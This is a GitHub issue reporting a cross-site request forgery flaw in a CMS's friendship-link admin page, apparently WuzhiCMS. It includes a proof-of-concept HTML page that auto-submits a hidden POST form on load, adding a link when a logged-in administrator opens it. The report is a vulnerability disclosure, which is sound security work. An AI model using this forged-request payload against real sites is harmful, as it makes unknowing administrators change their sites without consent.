Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add links to friendship #137

Open
mrjiushao opened this issue May 23, 2018 · 0 comments
Open

There is a CSRF vulnerability that can add links to friendship #137

mrjiushao opened this issue May 23, 2018 · 0 comments

Comments

@mrjiushao
Copy link

mrjiushao commented May 23, 2018

After the administrator logs in, open this page

poc testr_csrf.html //Add a friendship link

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='form[kid]' value='1' />";
fields += "<input type='hidden' name='form[sitename]' value='test_csrf' />";  
fields += "<input type='hidden' name='form[url]' value='www.google.cn' />";  
fields += "<input type='hidden' name='form[logo]' value='' />";  
fields += "<input type='hidden' name='form[remark]' value='test_csrf' />";  

var url = "http://127.0.0.1/index.php?m=link&f=index&v=add&&_su=wuzhicms&_menuid=34&_submenuid=104&submit=提交";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant